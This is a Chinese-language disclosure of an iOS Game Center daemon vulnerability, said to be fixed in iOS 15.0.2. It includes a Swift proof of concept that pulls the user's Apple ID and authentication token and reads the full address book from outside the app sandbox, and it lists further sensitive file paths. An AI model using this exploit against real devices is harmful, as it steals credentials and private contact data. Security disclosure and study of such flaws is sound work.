更新:Apple 已在 iOS 15.0.2 中悄悄修复了此问题,未给予任何形式的公开确认或致谢。
任何从 App Store 安装的应用均可在无需用户任何提示的情况下访问以下数据:
以下是一个简短的概念验证(Proof of Concept)。
let connection = NSXPCConnection(machServiceName: "com.apple.gamed", options: NSXPCConnection.Options.privileged)!
let proxy = connection.remoteObjectProxyWithErrorHandler({ _ in }) as! GKDaemonProtocol
let pid = ProcessInfo.processInfo.processIdentifier
proxy.getServicesForPID(pid, localPlayer: nil, reply: { (accountService, _, _, _, _, _, _, _, utilityService, _, _, _, _) in
accountService.authenticatePlayerWithExistingCredentials(handler: { response, error in
let appleID = response.credential.accountName
let token = response.credential.authenticationToken
}
utilityService.requestImageData(for: URL(fileURLWithPath: "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"), subdirectory: nil, fileName: nil, handler: { data in
let addressBookData = data
}
}
漏洞成因:
com.apple.gamed 未正确检查 com.apple.developer.game-center 权限getServicesForPID:localPlayer:reply: 仍会返回多个 XPC 代理对象(GKAccountService、GKFriendService、GKUtilityService 等)。com.apple.developer.game-center 权限),在 GKAccountService 上调用 authenticatePlayerWithExistingCredentialsWithHandler: 会返回一个包含用户 Apple ID、DSID 和 Game Center 身份验证令牌的对象(该令牌允许以用户身份向 https://gc.apple.com 发送请求)。在 GKProfileService 上调用 getProfilesForPlayerIDs:handler: 会返回一个包含用户 Apple ID 名字和姓氏的对象。在 GKFriendService 上调用 getFriendsForPlayer:handler: 会返回一个包含用户 Game Center 好友信息的对象。com.apple.developer.game-center 权限,在 GKUtilityService 上调用 requestImageDataForURL:subdirectory:fileName:handler: 仍可通过向该方法传递文件 URL 来读取应用沙盒之外的任意文件。通过这种方式可以访问的文件包括(但不限于)以下:
/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist - 包含 Mobile Gestalt 缓存
/var/mobile/Library/CoreDuet/People/interactionC.db - 包含来自邮件、短信、iMessage、第三方消息应用的联系人列表,以及用户与这些联系人交互的元数据(包括时间戳和统计数据)
/var/mobile/Library/Preferences/com.apple.mobilephone.speeddial.plist - 包含常用联系人及其电话号码
/var/mobile/Library/AddressBook/AddressBook.sqlitedb - 包含完整的通讯录数据库
/var/mobile/Library/AddressBook/AddressBookImages.sqlitedb - 包含通讯录联系人的照片cacheImageData:inSubdirectory:withFileName:handler: 可能允许将任意数据写入应用沙盒之外的位置。根据 Apple 安全赏金计划页面,此漏洞的评估价值为 100,000 美元(应用可广泛访问通常受 TCC 提示或平台沙盒保护的敏感数据。“敏感数据”访问包括从通讯录获取广泛的访问权限(即整个数据库))。